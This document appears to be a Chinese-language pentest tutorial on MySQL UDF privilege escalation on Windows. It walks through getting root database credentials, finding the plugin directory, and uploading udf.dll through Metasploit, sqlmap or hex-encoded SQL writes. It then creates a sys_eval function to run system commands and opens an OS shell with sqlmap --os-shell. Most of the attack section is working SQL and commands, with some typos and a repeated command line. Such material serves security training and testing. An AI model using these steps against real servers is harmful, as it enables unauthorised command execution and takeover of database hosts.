1.MYSQL3306端口开放弱口令且可远程连接
2.sqlmap 利用 --sql-shell(通过sqlmap连接数据库)
3.网站数据库配置文件获取账号密码
UDF(user defined function),自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以在 MySQL 中方便实现的功能,其添加的新函数都可以在SQL语句中调用,提权原理利用root高权限创建cmd函数执行系统命令。
以下以windows操作系统为例进行手工演示提权及自动化工具提权演示
一、*查看secure_file_priv的值
show variables like '%secure%'
load_file():读取函数,且可进行网络请求into dumpfile():只能写一行,原样写入 into out_file():多行写入,具有特殊格式转换
二、必须是root权限
三、寻找插件目录(dll文件必须上传到插件目录下)
UDF 的动态链接库文件放到 MySQL 的插件目录下,使用 SQL 语句来查询目录:(若不存在则需要手工创建。)
show variables like '%plugin%';
注意:MYSQL版本>5.1导入在lib\plugin\目录下,MYSQL<5.1导入到C:\Windows\目录下
四、查找操作系统版本
查看操作系统版本命令,根据版本选取对应的动态链接库
show variables like '%compile%';
注意:选取动态链接库版本错误则报Can't open shared library 'udf.dll'
方法一:通过ntfs流进行创建失败,好像已经被禁用。。。留在这里吧。可以进行尝试一下
select 'test' into dumpfile 'D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
方法二:可以直接上传文件到插件目录,可以用msf或mysql动态链接库进行上传。(lib目录下没有plugin需要自己创建)
场景:获取webshell情况下
在msf中动态链接库:
sqlmap中动态链接库:
我这使用msf中的动态链接库,sqlmap下的udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码
上传成功后直接创建函数(msf中有的dll中函数创建有sys_eval)
create funcion sys_eval returns strings soname 'udf.dll'; #创建函数
select * from mysql.func where name='sys_eval'; #查询创建的函数
select sys_eval("whomai"); #执行系统命令
方法三:通过sql语句写入dll文件:
场景:可以进行sql注入具有写入权限的情况
在本地将dll文件转为16进制:
select hex(load_file(本地dll文件路径)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
#load_file中的内容就是 C:\\Users\\user\\Desktop\\udf_32.dll 的16进制
#写到本地udf.txt文件中
通过以下步骤将udf.txt中的数据写入udf到插件目录
crate table udftemp(data longblob) #创建临时表
insert into udftemp(data) values (0x+udf.txt中的值); 将16进制udf文件写入此表
select data from udftemp into dumpfile "D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin\\new.dll"; #写入dll
create function sys_eval returns string soname 'new.dll' #创建函数
场景:得到数据库账号密码
使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,
数据库查询函数:
默认创建的函数是sys_exec该函数无回显结果,也可手动创建sys_eval函数。
手动创建sys_eval函数
场景:得到数据库账号密码、且用户可外连
python2 sqlmap.py -d "mysql://root:[email protected]:3306/test" --os-shell
python2 sqlmap.py -d "mysql://root:[email protected]:3306/test" --os-shell